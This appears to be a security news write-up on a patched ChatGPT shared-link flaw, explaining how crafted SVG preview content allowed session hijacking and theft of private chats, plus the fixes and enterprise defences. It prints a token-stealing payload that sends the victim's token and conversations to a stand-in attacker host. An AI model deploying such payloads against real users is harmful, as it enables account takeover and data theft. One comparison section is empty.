OpenAI Patches Critical ChatGPT Shared-Link Flaw Permitting Session Hijacking and Private Chat Theft

OpenAI has quietly rolled out server-side remediations for a critical severity vulnerability in ChatGPT that allowed malicious actors to compromise authenticated user accounts, take over active web sessions, and systematically siphon private conversation histories simply by inducing a victim to open a standard conversational share link.

The vulnerability, classified as a P1 Critical flaw by offensive security consultancy Parameter, bypassed both Content Security Policy (CSP) directives and iframe sandboxing controls built into ChatGPT's frontend infrastructure. Because the exploit executed entirely within the context of the official chatgpt.com domain, traditional endpoint detection agents and browser security shields failed to flag the transaction as anomalous.

The Mechanics of ChatGPT Conversational Sharing

To enable collaborative problem-solving, ChatGPT allows users to generate public, permalinked snapshots of active chat sessions hosted under the URL pattern https://chatgpt.com/s/<unique-id>. When an external user visits this URL, the web client fetches the message history payload and renders the conversation using a rich Markdown parser and client-side rendering pipeline.

To enhance technical and coding conversations, the interface renders structured components, including Markdown tables, syntax-highlighted code blocks, and dynamic HTML/SVG previews. It was within this interactive preview translation boundary that the critical execution gap emerged.

Vulnerability Dissection: Sandbox Escape via Dynamic Preview Context

While OpenAI enforces strict Content Security Policies across its primary application shell to prevent Cross-Site Scripting (XSS), user-generated preview widgets rely on encapsulated DOM subtrees. The researchers at Parameter discovered that by crafting a multi-turn conversation that fed specialized Unicode escape sequences and nested HTML tags into the code execution preview block, the client renderer failed to properly sanitize attribute delimiters:

<!-- Conceptual payload snippet triggering attribute breakout -->
<div class="preview-wrapper" data-render="markdown">
  <svg onload="(async()=>{
    const token = window.__NEXT_DATA__.props.pageProps.session.accessToken;
    const res = await fetch('/backend-api/conversations?offset=0&limit=50', {
      headers: { 'Authorization': 'Bearer ' + token }
    });
    const data = await res.json();
    fetch('https://attacker-telemetry.example/collect', {
      method: 'POST',
      body: JSON.stringify({ token, data }),
      headers: { 'Content-Type': 'application/json' }
    });
  })()"></svg>
</div>

When an authenticated user opened the shared link while logged into their ChatGPT account, the parser evaluated the unsanitized inline vector. Because the script ran under the top-level origin of chatgpt.com, it inherited the full session state, cookies, and local storage tokens of the victim.

Automated Enumeration and Data Exfiltration

Once injected into the DOM, the malicious routine did not restrict its activity to the current page. By issuing programmatic requests to internal GraphQL and REST endpoints, the script executed three distinct phases:

1. Session Token Harvesting: Extracted the ephemeral Bearer tokens and CSRF credentials bound to the user's active session.
2. Historical Archive Discovery: Traversed /backend-api/conversations to enumerate unshared, highly confidential chats spanning months or years of enterprise usage.
3. Out-of-Band Exfiltration: Streamed conversation titles, system prompts, sensitive API keys stored in chat logs, and uploaded PDF summaries out to an external server via standard HTTPS POST requests.

Comparison: Traditional Web Vulnerabilities vs. AI Assistant Client Flaws

Remediation and Architectural Fixes

Parameter reported the vulnerability through OpenAI's coordinated disclosure program on October 18, 2026. OpenAI confirmed the vulnerability and deployed a global hotfix on October 26, 2026, without requiring user intervention.

The remediation implemented multi-layered defenses across the rendering stack:

• Isolated Null-Origin Iframe Sandboxing: All dynamic HTML/SVG preview modules are now strictly confined to sandboxed iframes served with sandbox="allow-scripts" under unique, disconnected origins, preventing cross-window DOM access to the parent application.
• Stricter CSP Directives: Tightened script-src directives to mandate nonces for all inline script tags and completely disallow unsafe-inline event handlers across the entire application domain.
• Token Scope Partitioning: Frontend tokens are increasingly restricted from accessing full conversation archival APIs directly without step-up reauthentication.

Defensive Recommendations for Enterprise Security Teams

As generative AI platforms become deeply integrated into corporate workflows, CISOs and security teams must treat conversational links with the same zero-trust skepticism applied to email attachments:

• Restrict Public Sharing in Enterprise Workspaces: Enterprise ChatGPT and team accounts should enforce administrative policies disabling public shared links for sensitive internal projects.
• Deploy Enterprise Browser Isolation (RBI): Force external collaboration links and unverified generative AI shares to open within disposable remote browser sessions.
• Log and Audit Outbound Exfiltration Conduits: Monitor proxy and DNS telemetry for anomalous, high-frequency egress traffic following user interaction with SaaS tools.